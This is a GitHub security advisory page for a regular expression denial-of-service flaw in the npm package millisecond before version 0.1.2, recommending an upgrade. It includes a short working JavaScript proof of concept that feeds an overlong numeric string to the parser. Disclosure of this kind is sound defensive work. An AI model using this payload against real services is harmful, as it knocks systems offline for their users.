Skip to content

Regular Expression Denial of Service in millisecond

Moderate severity GitHub Reviewed Published Sep 22, 2021 to the GitHub Advisory Database • Updated Jan 9, 2023

Package

npm millisecond (npm)

Affected versions

< 0.1.2

Patched versions

0.1.2

Description

Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of concept

var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Recommendation

Update to version 0.1.2 or later.

References

Reviewed Sep 22, 2021
Published to the GitHub Advisory Database Sep 22, 2021
Last updated Jan 9, 2023

Severity

Moderate

CVE ID

No known CVE

GHSA ID

GHSA-m489-xr35-fjxr

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.